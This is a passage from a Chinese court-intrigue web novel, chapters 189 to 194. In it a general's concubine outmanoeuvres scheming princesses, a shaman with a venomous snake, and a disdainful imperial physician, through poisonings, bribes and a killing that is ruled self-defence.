黑崖挡住去路,说道,“姜夜沉可不是一个善良的合作者,郡主不妨换一个新的合作者?”
“或许能保住郡主和临海王的荣华富贵。”
坐上马车,凝如郡主冷下脸色。
“那个黑炭丑男是谁?”
护卫回禀,“此人名叫黑崖,来自溟山,听说是大皇子殿下为大将军寻来的巫医。”
“或能治愈大将军的隐疾。”
隐疾?
是了,姜夜沉不能人道这种重症之病。
大皇子李明远会良善到盼望姜夜沉痊愈?北疆军后继有人?
不,不可能。
绝不可能。
此时,姜夜沉手握实权,权势滔天,皆因他是孤臣。
不管哪个上位者,都希望姜夜沉这一辈子安安分分做他的孤臣。
唯有如此,上位者才放心、安心。
黑崖自是不知凝如郡主骂他“黑炭丑男”,若知道,定会喂凝如郡主一条毒虫,咬烂她的五脏六腑,活生生痛死。
黑崖心里清楚,丽云痴恋姜夜沉,图的就是美貌和权势。
这两样东西,他打心底瞧不上。
因为他没有。
凝如郡主忧愁的一夜未眠,她给临海王写信,写了又撕,撕了又写。
清早,凝如郡主眼下乌青,满心烦乱,经过一夜,她心下决定:逃回东海。
她实在惧怕,如凝华郡主的下场,没福再享京城的繁花似锦。
她隐隐相信自己的直觉。
凝如郡主心里有一个声音在重复:看,得罪徐慧珠的下场有多凄惨,凝华郡主就是活生生的例子。
“郡主,将军府来人了。”
“说是给您回礼来了。”
很快,京城流传新的八卦,凝如郡主私下走了将军府妾室徐慧珠的路子,送上奇珍异宝,求姜夜沉宽容一回,不再计较凝如郡主先前得罪徐慧珠的事情。
有些人笑话凝如郡主丢面,另一些人则骂徐慧珠是眼皮子浅如蝉翼的祸水。
姜夜沉命中死劫的祸水。
金夏从凝如郡主的郡主府回来,又拉回一车礼品,东海一带盛行的绸缎、饰品和吃食,样样上等精品。
两车换一车,不管从数量,还是价值上,徐慧珠大赚。
“夫人,这盒蝴蝶香,是凝如郡主亲手交给奴婢,说有安神效用,夫人若用着喜欢,她再差人送来。”
先是凝华郡主出事,后有徐慧珠暗里释放假消息,果然,如她和姜夜沉所愿,凝如郡主乖乖上钩。
“这便是在黑市卖到一百两银子一盒的蝴蝶香?”
“金夏,过十日你再去一趟郡主府求见凝如郡主,就说我十分喜欢蝴蝶香,询问凝如郡主这蝴蝶香哪里有卖?可是东海特产?”
皇上暂且不动凝如郡主,徐慧珠便帮皇上安一安
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凝如郡主的心。
在京城,徐慧珠交好的贵人,除过襄王妃和元乐长公主,凝如郡主是第三个。
消息传到宗人府之时,凝华郡主正在地里除草。
凝华郡主哪会除草,负责教导她干活的金嬷嬷去茅房的功夫,回来一看,杂草是死有余辜,农作物幼苗皆死于非命。
“奴女?”金嬷嬷一声怒吼,“作死呀。”
皇上下旨弑夺凝华郡主封号和姓氏,为庶民,贱称“奴女”。
不配有名有姓。
一朝郡主,一夕奴女
金嬷嬷早就不耐烦凝华郡主,如今的凝华郡主,贱奴一个,比之下等奴婢,还不如。
金嬷嬷径直走向凝华郡主,对着腰间软肉狠狠拧一把。
接着,左右两巴掌。
满脸狞笑。
贵人的身子,精贵至极,拧着打了,手感颇妙,心里更爽。
“啊!”
“老货,你……你敢打本郡主?”
“还有,老货,你……你再叫本郡主一声‘奴女’,本郡主就撕烂你的臭嘴,杖毙,然后扔到乱葬岗,供野狗野狼分食啃咬。”
自进了宗人府,凝华郡主过上毫无尊严的苦日子,每日十二时辰都浸泡在苦水里。
“哈哈哈……”
金嬷嬷像是听到好笑的笑话,笑的横肉往一处拥挤,瞧着模样滑稽。
“哈哈哈,笑死我了。”
金嬷嬷心想,她是奴没错,但凝华郡主落在她的手里,见不得天日,失去自由的庶民,活得不如奴。
在落魄的凝华郡主面前,金嬷嬷以“我”自称。
当得起。
“奴女呀奴女,你还在白日做梦?”
“啧啧啧,奴女,可惜了你这妖娆的身子。”
“奴女,听说你当郡主时,娇养的美貌面首,后院都快塞不下,日夜宣淫……”
待徐慧珠和姜夜沉出现之时,金嬷嬷嘴里喷着污秽,手伸向凝华郡主的胸口处,“奴女,你毁了这块园子的幼苗,我便罚你……取悦我。”
“老货,**!”凝华郡主举起锄头,砸向金嬷嬷的脸。
“**!**!”
“啊啊啊!”
第190章:金嬷嬷之死
以姜夜沉的身手,阻止凝华郡主**,只需抬一下手的小事。
他不愿。
金嬷嬷的头本能一偏,锄头砍在脖颈上,一下砍去半截。
谁成想,凝华郡主不过娇弱女子,关键时刻爆发出的力气大得惊人。
血,喷了凝华郡主一脸一身。
她费力睁开眼,才看清眼前人,竟是害她的贱男贱女。
“徐慧珠?”
“姜夜沉?”
她以为自己在做梦,又不似做梦。
没了貌美面首相伴,凝华郡主越劳作,头脑异常清醒,她复盘所有,终是醒悟,害她的人,非姜夜沉和徐慧珠莫属。
仇人见面,凝华郡主恨不能举起滴血的锄头,砸死他们。
砸的血肉模糊。
刚弄死金嬷嬷,凝华郡主非但不怕,整个人精神亢奋。
凝华郡主兴奋的浑身颤抖。
“凝华郡主您莫怕,我和将军刚亲耳听见,是金嬷嬷言语羞辱您,也亲眼看见,是金嬷嬷贪念您的美色,欲行不轨之事。”
“金嬷嬷死的活该,凝华郡主您是自卫反抗,大可不必为金嬷嬷以命偿命。”
“将军,我说得可在理?”
凝华郡主:朝阳定是从西边出来,徐慧珠为她说话,说的是“人话”。
姜夜沉点头,算是认可徐慧珠为凝华郡主求情脱罪。
“大福,你速去一趟襄王府,向襄王爷禀明情况,请襄王爷重新挑选一名面慈心善但要会拳脚功夫的教导嬷嬷。”
“凝华郡主,哦,不,奴女,你对本将军的安排可有异议?”
凝华郡主动了动嘴唇,喉咙却发不出声音。
她,在这一刻失语。
姜夜沉是在报复她吗?
凝华郡主不信,姜夜沉对她有一丝一毫的善意,或怜悯之情。
姜夜沉那样冷心冷情的男人,白瞎一张绝色容颜。
锦衣卫动作麻利,说话功夫备齐桌椅,端来糕点,沏好茶水。
“夫人坐下说话。”
姜夜沉为徐慧珠拉开椅子,待人坐定,茶盏送入手中。
“夫人尝尝这青柠茶,陈青阳说南疆女子平日里最喜饮青柠茶,夫人若喜欢,为夫去信,日后供上。”
两人坐着,闲话家常,故意将凝华郡主凉在一旁。
姜夜沉心里有气,他倒要看看凝华郡主嘴硬到何时,救命之恩,凝华郡主连一句“谢谢”都不说?
他最是记仇,谁欺辱过徐慧珠,都得一一还回来。
茶水入口,清新果香,合乎她的心意。
“多谢将军,这青柠茶喝着甚好。”
“不过,将军记得给陈将军银子。”
“总有几位言官大人整日闲得无事,就盯着将军一言一行,别为几包不值几两银子的青柠茶,参将军收**赂。或脑洞大开骂我是祸水,败坏将军的清誉。”
姜夜沉接话,“谁敢胡乱攀咬夫人,为父就亲自动手,拔掉那人的牙齿,抽烂那人的嘴。”
“不会说话的人,长了一张嘴,也是浪费我安国的粮食。”
闻着茶香,看着糕点,凝华郡主忍不住吞咽口水。
她过惯富贵奢华的生活,这些时日,她苦够了,饿惨了。
“凝华郡主,您也坐?”
“夫人且慢。”姜夜沉打断道,“安国已无凝华郡主,此刻站在夫人面前的是奴女无名氏,按照规矩,她无资格与夫人同坐。”
凝华郡主冷哼道,“那你们来做什么?”
“欣赏本郡主的凄惨下场?”
“你们……好无耻。”
凝华郡主饿到理智虚无,身体本能战胜自尊,她突然往前冲,扑到桌案,抓起糕点胡乱塞入口中。
姜夜沉一脚踹过去,未来得及咬碎吞咽的糕点碎块卡在凝华郡主的喉咙,几欲窒息。
“咳咳咳……”
凝华郡主爬起来,好似感觉不到疼痛,又冲到桌案,捧起茶壶,顾不得茶水滚烫,往嘴里灌。
待糕点碎块冲下去,凝华郡主扔下茶壶,又跑回原地,捡起泥土里的糕点,继续往嘴里塞。
别提,有多狼狈。
她也不想啊。
可,她好饿好饿。
原来,饥饿,足以让人放弃所有尊严,变得失控,最终感官麻木,只余下无穷无尽的饥饿感啃咬她
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的每一处神经。
徐慧珠坐着未动,脸色平静看着凝华抢食一碟糕点。
她知道,姜夜沉故意为之。
给她出气。
他的好,她承情。
逗弄过瘾凝华郡主,徐慧珠提说来意,“凝华郡主,接下来我问话,你若如实回答,我便求情将军,每隔两日送来一碟糕点。”
“凝华郡主,你该庆幸,你于我,还有一丁点价值。”
“不然,这宗人府的囚笼里,会有无数个金嬷嬷,凝华郡主,以你一人之力,能杀得完吗?”
徐慧珠根本不给凝华郡主拒绝的机会。
“姜夜沉,本郡主信你。”
凝华郡主便是沦落阶下囚,她仍瞧不起徐慧珠,一个恃宠而骄的妾室罢了,没资格和她谈条件。
她和姜夜沉,才是身份对等的同类人。
“徐慧珠,你想知道什么?”
“蝴蝶香?”
“凝如那个**如何跟你说的?”
“本郡主奉劝你一句,不论凝如那个**说什么,别信。不管凝如那个**许诺多少好处,别沾。”
“还有,蝴蝶香……不是好东西。”
不等徐慧珠问一句,凝华郡主已猜明来意。
她刚落难,凝如郡主妄想甩开她,讨好徐慧珠,攀附姜夜沉。
呵,可问过她是否答应?
她们一起享用貌美面首,就该有福同享,有祸同担,凭什么她一人失去所有,一个吃尽人世间的苦?
凝如郡主一听说徐慧珠喜欢蝴蝶香,心里总算高看徐慧珠一眼,“哼,徐氏倒是有一两分眼光,还知晓蝴蝶香是个好东西。兄长说得极对,没有哪个贵夫人能抗拒蝴蝶香给予的诱惑,用不起蝴蝶香的贵人,就该滚出京城。”
凝如郡主自己也在用蝴蝶香,尤其是每回和面首在床榻上行欢之时,那种欲仙欲死,如坠仙境的美妙,不可言传,得以身体验才能感受。
她哪好意思收徐慧珠的银子,亲自登门大方送上十盒。
还许诺,“徐夫人余生用的蝴蝶香,皆由本郡主承包。”
下一步棋,该动了......
第191章:郡主嗜好美色,仇视丑男
凝如郡主的下一步棋,抛出更大的诱饵——贩卖蝴蝶香。
许以足够重的利,不信徐慧珠不心动。
徐慧珠一旦心动,吹一吹枕边风,姜夜沉......
凝如郡主想的长远:姜夜沉入局,必为兄长所用。
那时,她是助力兄长成事的功臣。她便求兄长,圆她的念想。
她愿为姜夜沉一人,遣散郡主府后院的所有貌美面首。
从此,她与姜夜沉,一生一世一双人。
想一想,凝如郡主心潮澎湃。
黑崖第二回在将军府碰见凝如郡主时,继续挑拨,“凝如郡主这一趟趟往将军府跑,无效而归,何苦……您一张热脸贴徐氏的冷屁股?”
“大皇子殿下……”
话未说完,凝如郡主一记白眼,转身直奔主院,找徐慧珠告状。
“徐夫人,小心黑炭丑男。”
“听说那个黑炭丑男是巫医,为大将军治病?本郡主觉得,黑炭丑男不像巫医,倒像奸细……”
待凝如郡主说完,徐慧珠仿佛才瞧见站在门外,脸黑如漆的黑崖。
她惊呼,“黑崖师叔,您……您怎么来了?”
“您别误会,凝如郡主她……她或许并无恶意。”
本就水浑,越搅越浑。
“凝如郡主,这位是来自溟山的巫医黑崖,也是将军的师叔。”
“黑崖师叔天生肤色黑些,比之黑炭,夸张了。”
“其实,我倒觉得黑崖师叔的容貌,虽比不得将军绝色,但也算黑帅黑帅类型的男子。”
“凝如郡主您说黑崖师叔是‘黑炭丑男’,着实过分几许,伤了黑崖师叔的男子自尊……”
偏偏,凝如郡主一向嗜好美色,仇视丑男。
她认定黑崖丑,就是丑啊。
更为关键的是,她和徐慧珠交好,便是兄长和姜夜沉的两方权势结盟。
兄长交待过,得姜夜沉者,可得江山,莫说得罪大皇子李明远,就是得罪东宫储君,也得罪得起。
凝如郡主早已暗中派人查清,这位突然冒出来的黑炭丑男,本就是大皇子李明远的人。
黑炭丑男三番暗示,五次明说,为的挑拨离间,助大皇子李明远夺东海兵权。
呵,以为她蠢,想不到吗?
大皇子李明远的野心,大得很。
“徐夫人,就算他是大将军的师叔,是长辈,本郡主也不能昧着良心承认他英俊。”
“徐夫人,本郡主当你是朋友,你可不能逼本郡主啊。”
徐慧珠脸色为难,“这?”
她看向黑崖,干巴巴和稀泥,“黑崖师叔,您看?”
“人对美丑,各有理解。”
“论理,您和凝如郡主都没错,不过是您的容貌恰好不符合凝如郡主的审美。凝如郡主出身尊贵,又性情直爽……”
“黑崖师叔,您是男子,宽容大量,不与凝如郡主计较,可好?”
话,都让徐慧珠一人说尽。
她,两边当好人。
当夜,黑崖潜入凝如郡主的郡主府,放出小黑蛇,咬了凝如郡主一口。
小黑蛇极会咬,它一口咬在凝如郡主胸前的春光处,伤口细小,连凝如郡主自个儿未曾发现。
凝如郡主一病不起。
太医诊治过后,得出结论,凝如郡主可能误食某种食物,或闻了某种香料,才会引发过敏。
只是,查不到过敏源,太医不能对症下药,也不敢随意用药。
毕竟,凝如郡主过敏体现在那种地方……
治好了,是身为太医的本分。
治不好,就是掉脑袋的事。
凝如郡主原本打算在试探之后,与徐慧珠谈一谈蝴蝶香的生意。
徐慧珠一旦上船,姜夜沉这条大鱼还会远吗?
可,凝如郡主病的太不是时候,蝴蝶香的生意只得暂且搁置。
满京城都在传,徐慧珠和凝如郡主关系亲密,如姐妹。
凝如郡主病的不能出门,徐慧珠自当携补品探望。
再说,徐慧珠是普神医的亲传弟子,连皇上也认可她的医术,命她为凝玉公主和继太子妃调理身子。
太医回宫向皇上禀报时,恰巧厉贵妃正在君皇殿红袖添香,她媚眼含笑,计上心来。
“皇上,不如让徐氏试试。”
派去看诊的太医凑巧是厉贵妃的人,凝如郡主半边脸溃烂流脓,太医怀疑凝如郡主不是过敏,极有可能感染某种传染病。
传染病好啊。
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>这个烫手山药扔给徐慧珠,最满意的结果,也传染给徐慧珠。
徐慧珠和凝如郡主双死,厉贵妃一人开心。
厉贵妃会做人,当即从她的私库里拿出百两黄金赏赐徐慧珠。
诊金丰厚,徐慧珠没有不去之理。
临出门,又遇黑崖。
他倒是不把自己当作外人,每日在将军府晃荡,这里转转,那里走走,说是为姜夜沉诊治,更像是来将军府逛园子。
“黑崖师叔安好。”
黑崖冷着脸,完全没有当客人的觉悟,语气生硬,不懂礼貌。
“徐氏,说,姜夜沉去了哪里?”
“病人躲着医者,这病怎么看?”
黑崖整日在将军府晃荡,不是闲的无聊,而且期待能与丽云偶遇。
丽云夫人躲他,不愿见他。
他们住在同一座府邸,相距咫尺,却好似天涯。
丽云躲他。
姜夜沉躲丽云。
他们像在玩幼稚的猫捉老鼠游戏,徐慧珠却是看客。
黑崖瞧见徐慧珠,又怒又羞,他的意难平,统统归罪于徐慧珠。
“黑崖师叔有所不知,我家将军他一人身兼数职,北疆之王,护国将军,锦衣卫统领……他忙啊。”
明明是平常语气,黑崖听在耳中,徐慧珠嘲讽他平平无奇,碌碌无为。
黑崖心想,世间女子皆面目可憎,唯有丽云不同。
在他心中,旁的女子千般丑陋虚伪,他的丽云万般美好圣洁。
情人眼里出西施,不足为奇。
只可惜,黑崖一片深情痴心,终是付水东流去。
徐慧珠又说,“单说我家将军胜任锦衣卫统领一职,替皇上办差,办的都是大案要案,行踪保密,我怎能过问?”
“黑崖师叔若着急寻将军,不如走一趟大皇子府,问一问大皇子殿下,可清楚将军在哪里?在忙些什么?”
黑崖情场失意,偏给她摆脸色,无事找茬,她顺势挖两个坑,看不埋死他们。
她随姜夜沉称黑崖一句“师叔”,他不配。
“徐氏,你?”黑崖语塞。
隐匿在衣袖里的小黑蛇感受到主人的愤怒情绪,今日异常浮躁。
“夫人,小心。”
第192章:伴君王如伴虎,伴嫔妃如伴狼
待徐慧珠回过神,她已在姜夜沉的怀里。
一条小黑蛇卷缩在地上,痛苦地扭动身子,发出悲鸣的嘶嘶声,往黑崖身上爬行。
“姜夜沉,你……你敢伤我的小黑?”黑崖胸口一痛,小黑蛇陪伴他长大,喝他的血滋养。
所以,小黑蛇受的痛苦,黑崖亦能感同身受。
“黑崖师叔?”姜夜沉冷声打断,“不知黑崖师叔何故纵蛇?在我将军府,当我的面,杀我的夫人?”
“大皇子殿下请你来为我诊治身体,还是**我的夫人?下一个,黑崖师叔要杀的目标——是我?”
“姜夜沉,你莫血口喷人。”刚刚,黑崖才感觉到小黑蛇的失控,不等他安抚,小黑蛇突然飞窜出去,欲咬伤徐慧珠。
难道?
徐慧珠做了什么手脚?不惜以她的命为诱饵,刺激小黑蛇,行一出苦肉计不成?
目的呢?
“小黑一向乖顺,极少会失控。”
大皇子李明远交待的事情,他还没办妥,不能任由姜夜沉牵扯到大皇子李明远。
丽云对姜夜沉仍未死心。
这将军府,他还得厚着脸皮住下去。
“姜夜沉,刚刚……是意外。”
“姜夜沉,你看到了,徐氏安然无恙,小黑奄奄一息。”
黑崖捧着小黑蛇,才看清小黑蛇已吐不出信子,尾巴断掉一截。
小黑蛇能活,自此变成一条废蛇。
姜夜沉在警告他。
“黑崖师叔,你……你要杀我?”
徐慧珠满眼震惊,眼圈发红,抱住姜夜沉的胳膊,瑟瑟发抖。
“你……你要我死,好为丽云夫人腾位置?”
“丽云夫人明明和你有婚约,你为何要这么做?”
“你爱丽云夫人,爱到卑微至此?”
黑崖恼怒不已。
他都解释过了,刚刚小黑蛇伤人是意外。
纯属意外。
他还未来得及张口,就被徐慧珠抢了话。
“将军,我要报官。”
“我好害怕。”
“若不是将军及时出现,我……我此刻已是一具冰冷的尸体了。”
“可黑崖师叔呢,一句歉意的话都没有,推托是意外。”
“我要报官,请府官大人主持公道。”
“将军若不同意报官,现在就赶走黑崖师叔,或给我一封休书。”
“将军府的富贵,我消受不起。”
“还请将军原谅我的自私。”
“我,只求保命。”
徐慧珠明面上“逼迫”姜夜沉一番,为的是堵死黑崖的后退之路。
闹出这么大的动静,惊动了大皇子李明远,紫藤院的那位无动于衷。
也不知,她是怎么想的?
期盼着徐慧珠报官,然后府官大人以**未遂的罪名逮捕黑崖,下入牢狱?
当真如此?
事情发展到最后,徐慧珠也没报成官。
大皇子李明远来得及时,命黑崖当面摔死本就奄奄一息的小黑蛇,以安抚徐慧珠受到的委屈。
当然,这还不够。
一条小黑蛇的命,畜生的命,再金贵,能贵得过人?
大皇子李明远说,“本王相信黑崖所言,小黑蛇差点伤到徐夫人,可能为意外。”
“毕竟,小黑蛇是动物,不是人。”
又说,“徐夫人,你和黑崖同为医者。医者,治病救人为信仰。”
“本王相信,黑崖断不会做出违背信仰之事。”
“黑崖品行,本王作保。”
大皇子李明远递上一张地契,是他名下的庄子,良田百亩。
以平徐慧珠今日受到的惊吓。
大皇子李明远如此大方,若姜夜沉和徐慧珠再揪着不放,就是不懂事了。
大皇子李明远的面子,得给。
就算不给,看一看手里捏着的地契,百亩良田啊。
也得心甘情愿地给。
徐慧珠站直身子,破泣而笑,且笑容格外真诚,“回禀大皇子殿下,是臣妇一时吓懵,言语不当,想岔了。”
“黑崖师叔不仅是将军的师叔,更是大皇子殿下您一片好心为将军请来的医者,怎会有坏心呢?”
徐慧珠认错态度极好,手里捏着百亩良田契约,好听的话,他们想听多少,她张口就来。
“将军,我……我错了。”
这时,厉贵妃身边的崔公公又来送
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赏赐。
名为送赏赐,实则催促徐慧珠赶紧走一趟郡主府,给凝如郡主看诊。
徐慧珠顺道拉上大皇子李明远同行,崔公公白了脸色,却不敢阻挠。
厉贵妃收到消息,大皇子李明远跟着徐慧珠去了郡主府,厉贵妃眼前一黑,当场昏厥。
“贵妃娘娘,臣还要向皇上禀明凝如郡主可能染上传染病,建议暂时隔离郡主府?”
“蠢货。”厉贵妃只觉得脑袋嗡嗡响,她不明白,大皇子李明远去郡主府凑什么热闹。
凝如郡主是死是活,跟他有何关系?
“混账,你想害死大皇子不成?”
太医吓得噗通跪在地上,“贵妃娘娘明鉴,臣……万万不敢害大皇子殿下啊。”
“凝如郡主的病情,暂且瞒下,本宫需仔仔细思量。”厉贵妃不耐烦地挥挥手,太医从地上爬起来,扛着药箱,麻溜离开伊香殿。
伴君王如伴虎,伴嫔妃如伴狼。
小心翼翼侍奉着,危险仍处处存在。
太可怕了。
太医刚出伊香殿,来不及松口气,瞧见来人,脸色大变。
“周太医,你让本将军一番好找啊”
周太医身子一软,药箱从肩膀处滑落。
这?
“周太医小心。”
若不是姜夜沉出手够快,药箱落下,怕是会砸到周太医的脚。
周太医的心,慌的不是一星半点。
虽然,他也说不清自己慌什么。
姜夜沉是人,又不是阎罗王。
“周太医从伊香殿出来,可是遇到什么人,发生什么事,吓到了?”
周太医又是摇头又是摆手,急忙否认。
“下官刚刚在思索一味药材,精神过于专注……”
“对了,将军寻下官,所为何事?”
周太医差点脱口而出:为难徐慧珠的是厉贵妃,他无辜啊。
“周太医,随本将军走一趟吧。”
周太医脚下踉跄,差点栽倒。
姜夜沉凑近了些,语气冰冷,透着威胁,“难道......”
“难道周太医做下**的恶事,怕锦衣卫查出来?”
“以命偿命?”
第193章:郡主烂了半张脸
周太医以为,姜夜沉公报私仇,抓他进锦衣卫的牢狱。
马车一路出宫门,直奔凝如郡主的郡主府。
他们赶到郡主府时,徐慧珠已对凝如郡主做完全身检查,在凝如郡主胸前的春光处发现芝麻大小的伤口。
凝如郡主戴着厚重的面纱,她熏了香,还是遮不住腥臭的气味。
“凝如郡主,我建议您取下面纱。”
“不然,一刻钟不到,你会昏厥,脸上的面积烂的更大。”
“还有,从今日起,别再熏香。”
凝如郡主听劝,她一把扯下面纱,扔在地上,对着周太医一通质问:“面纱?熏香?”
“周太医,说,你是狗屁不懂的庸医?还是故意害本郡主?”
周太医心惊,才半日光景,凝如郡主快烂了半张脸。
到底是过敏导致?还是得了某种传染病?
徐慧珠拿起周太医先前开的药方,按照过敏症状开的药方,里面加了好几味滋补的药材。
贵人生病,滋补为先。
周太医不敢得罪厉贵妃,同样也得罪不起凝如郡主。
他一个小小的太医,在贵人之间,夹缝求生存。
但,徐慧珠的身份,是妾。
“徐……徐夫人?”
“我为凝如郡主开具的药方,医正大人看过,并无不妥。”
“凝如郡主是过敏病症,唯有找到过敏源,方能对症下药。”
“在此之前,下药温和,渐缓症状为优。徐夫人既懂医术,该明白才是,怎能为一己私利,误导凝如郡主?”
“凝如郡主因此误会我,不打紧。但要是因着徐夫人几句话,耽误凝如郡主的病情,这个责任,徐夫人负得起吗?”
周太医说完,往旁边移一步,实在是姜夜沉身上的冷气,冻着他了。
周太医心里安慰自己:姜夜沉不会为了一个妾室,和他翻脸吧。
“女子爱美乃天性,我建议凝如郡主以面纱遮面,以熏香遮味,何错之有?”
周太医是厉贵妃的人,这一点,大皇子李明远知晓。
“徐夫人可有治愈之法?”
大皇子李明远偏帮周太医,直接转移话题。
凝如郡主接话更快,“徐夫人,你若能治愈本郡主的过敏症,你就是本郡主的大恩人。”
“周太医只说寻到过敏源,方能对症用药,可本郡主的脸,等不住啊。”
“徐夫人,你也是女子,你能明白的,容貌于女子来说有多重要,本郡主万万不能毁容。”
“徐夫人,本郡主求你了。”
若是普神医在,周太医不敢放肆。
但,徐慧珠,就大不一样。
“徐夫人这么快就找到过敏源?”
“眼下以治愈凝如郡主为重,徐夫人若能治愈凝如郡主,我……我愿下跪认错,辞了太医一职。”
周太医料定徐慧珠为抬高自己,向姜夜沉吹枕边风,才师从普神医。
再说,女子为医者,能有多高的成就。
不然,徐慧珠只挑“面纱”“熏香”的刺,半句不提病症。
先前皇上下旨,由徐慧珠负责调理凝玉公主和继太子妃的身体,定是普神医出力,名声都被徐慧珠落了去。
说白了,周太医从思想认知上,轻视女子。
“周太医言重了。”
“男儿膝下有黄金,周太医跪天地,跪君主,跪万民……跪我一个小女子,这大礼,我不好意思受。”
“等周太医心甘情愿觉得自己错了,就去边疆,做一名军医,守护我安国将士们的身体。”
“周太医,可愿意?”
大皇子李明远笑道,“姜夜沉,你这位妾,太过自信了些。”
“普神医和皇上都夸赞慧珠的医术医德兼优,她自是有底气自信。”姜夜沉只听得懂好话。
普神医的确当众称赞过徐慧珠的医术,但普神医说的是真心话,还是奉姜夜沉的命令说假话?
旁人不知。
皇上说过?
不,大皇子李明远没听到过。
姜夜沉又说,“大皇子李明远慧眼识人,不像有些人……”
“自以为是。”
“眼瞎。”
姜夜沉的眼神飘过周太医和黑崖,生怕别人不知,他骂的是他们。
“徐夫人尽力一试,不成也无妨,本王做主不会怪罪于你。”
大皇子李明远的笑容,乍眼一看,和煦温暖。
再细看,尽是算计。
“黑崖,你就在一旁候着吧。”
大皇子李明远只差明说:看在姜夜沉的面子上,徐慧珠医术不精,并不重要。
他兜底。
他要的是,姜夜沉记他的人情,欠
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他的人情。
然后,有朝一日,还他的人情。
“徐夫人,本郡主的病?”
凝如郡主没心思听他们打嘴仗,生病的人是她,难受的是她。
“凝如郡主,您不是过敏。”
徐慧珠将药方递给周太医,说道,“周太医,你诊断错误。”
“医术不精,还需钻研。”
“同为医者,我好心忠告一句:天赋不够,勤奋来凑。”
周太医:……
他输了?还被羞辱一番?
“难道?”
“凝如郡主是**?”
“不可能啊,凝如郡主脸上的溃烂,并不符合**症状。”
“而且,我先前给凝如郡主服用过败毒丸,毫无效用。”
周太医不敢将自己的怀疑说出来,他怕死,更怕连累家人枉死。
徐慧珠没回答周太医的问题,此人,身在京城,已迷失医者本心,就得送到边疆军营,洗涤心灵,重新开始。
“凝如郡主不是过敏,她被一种蛇类咬伤。”
“黑崖师叔,您以为?”
徐慧珠话音未落,除过周太医,大家目光齐整看向黑崖。
凝如郡主言语羞辱过黑崖,而黑崖的宝贝就是一条小黑蛇。
如此凑巧。
“黑炭丑男,你……你竟敢放蛇暗害本郡主?”
“万万没想到,你人长得又黑又丑,心也一样。”
“大皇子殿下,本郡主听说黑炭丑男是您的人,该给我一个解释,不为过吧。”
“不,大皇子殿下,本郡主就要你一句话,若徐夫人证实是黑炭丑男害我,本郡主要黑炭丑男......偿命。哼。”
大皇子李明远本想借机亲近凝如郡主,得到临海王的助力,还未成事,就已沾染一身腥。
他也怀疑,凝如郡主烂脸,是黑崖放任小黑蛇行凶导致。
谁让凝如郡主嘴贱,活该烂脸。
攻击男人的容貌,相当于当男人的面,挖他家祖坟。
这话,只能心里想。
大皇子李明远这一犹豫,在凝如郡主看来,等同于承认黑炭丑男就是害她的凶手。
“来人,抓住黑炭丑男,本郡主要将他大卸大块,以泄心头之火。”
徐慧珠先一步开口道,“凝如郡主且慢。”
“黑崖师叔他……”
第194章:李云生之死
凝如郡主这人属狗,见着谁,不是汪汪叫,就是龇牙咧嘴想咬人。
“师叔?”
“徐氏,你叫黑炭丑男‘师叔’?”
凝如郡主的脑子这会儿飞速转动,她先是想到凝华郡主的悲惨下场,又怀疑姜夜沉投靠了大皇子李明远。
很快,凝如郡主将自个儿绕进去,绕糊涂了,越发看不清局势。
到底谁害她?
谁都有嫌疑,有能力,有动机害她。
徐慧珠懒得同凝如郡主掰扯,她径直走向黑崖,“师叔,小黑蛇的蛇胆能治愈凝如郡主,端看师叔您是否愿割爱?”
“小黑蛇死有余辜,若是它的蛇胆能治愈凝如郡主,算是功德一件。”
“那么,小黑蛇差点咬伤我的事,便不再多余计较。”
“毕竟,凝如郡主恢复容貌,是现下的重中之重。”
又对着凝如郡主说,“凝如郡主,您误会我的意思。”
“身为医者,在看诊过后,如实说明病情。至于害您的凶手,是不是黑崖师叔和他的小黑蛇?”
“我无从得知。”
“您尽可报官,请府官大人调查。”
“不过?”
不管大皇子李明远愿不愿意,他都得强行证明凝如郡主烂脸,与黑崖无关。
如若黑崖坐实嫌疑人,定会牵扯上他。
临海王手握东海兵权,拉拢为上,暂且不可交恶。
大皇子李明远以为徐慧珠要针对黑崖,不,是姜夜沉不便出面,借徐慧珠之手要黑崖的命。
**皇家郡主,就是大皇子李明远也不一定保得住黑崖的命。
可,徐慧珠却话锋一转,暗示黑崖极可能无辜。
他凑巧饲养一只小黑蛇,而小黑蛇死得凑巧,却能救凝如郡主。
前一瞬,是嫌疑人。
下一瞬,变成救命恩人。
徐慧珠究竟要做什么?
“黑崖,救凝如郡主要紧。”大皇子李明远眼神警告,不许黑崖拒绝。
“凝如郡主,本王愿为黑崖做保。”
“黑崖此人,是本王特意寻来为姜夜沉看诊,他的巫医术和人品,本王信得过。”
好在,如徐慧珠所料,凝如郡主在服用小黑蛇的蛇胆后,不到两个时辰,脸上的疙瘩尽消,容颜恢复往昔。
隔日,凝如郡主备下两份厚礼,一份送往大皇子府,另一份送到将军府。
凝如郡主带着暗卫,悄悄出了城。
她去的是京郊一处庄园,下令暗卫抓住李云生,堵住其嘴,扔进蛇窟里,倒入烈酒,一把火点燃。
“李云生,本郡主早该杀了你。”
“**。”
李云生,临海王的庶长子。
按照辈分,李云生得叫凝如郡主一声“姑姑”。
但,他们陪伴着长大,“青梅竹马”的情分。
凝如郡主刚上马车,就听见一道熟悉的声音,“凝如郡主,您……您怎么在这里?”
“真真是凑巧,没想到在这里偶遇凝如郡主。”
徐慧珠瞅了一眼紧闭大门的庄园,原来临海王送到京城的蝴蝶香,货都存在这里。
凝如郡主下意识看向姜夜沉和他身后的锦衣卫,兄长说,姜夜沉操练出来的锦衣卫,一个个都是**。
“姜夜沉,你……你跟踪本郡主?”
徐慧珠就是姜夜沉的嘴替,“凝如郡主您说笑了,将军怎会跟踪您。”
“今日将军休沐,陪我去凤凰山鱼庄吃鱼……”
去凤凰山的路,可不止这一条。
近道不走,偏走远道?
他们出现的时机,怎么就刚刚好?
似是清楚凝如郡主心里的疑惑,徐慧珠笑着解释,“原本这个时辰,我和将军到了鱼庄,吃上鲜美的鱼。”
“走到半道,锦衣卫来禀,凝华郡主,哦,不,奴女又交待,说她的面首里,还有临海王的庶长子李云生。”
“据奴女交待,李云生为她饲养一种焕颜蛇,提取其蛇胆,每十日服用一回,可滋养容颜,但这种焕颜蛇需童男童女的鲜血供养。”
“奴女还交待,她曾引诱李云生利用毒蛇害人……”
徐慧珠想到什么,捂住嘴巴,满眼震惊。
“难道?”
“凝如郡主,您和凝华郡主昔日是亲密无间的姐妹,亦是情谊深厚的好友,她怎么会?”
凝如郡主脸色灰白,她之所以没再继续咬住黑崖不放,自然不是看在大皇子李明远的脸上。
大皇子李明远的脸,还没那么大。
她的心里,有了新的怀疑。
当她见到李云生之时,真相明了。
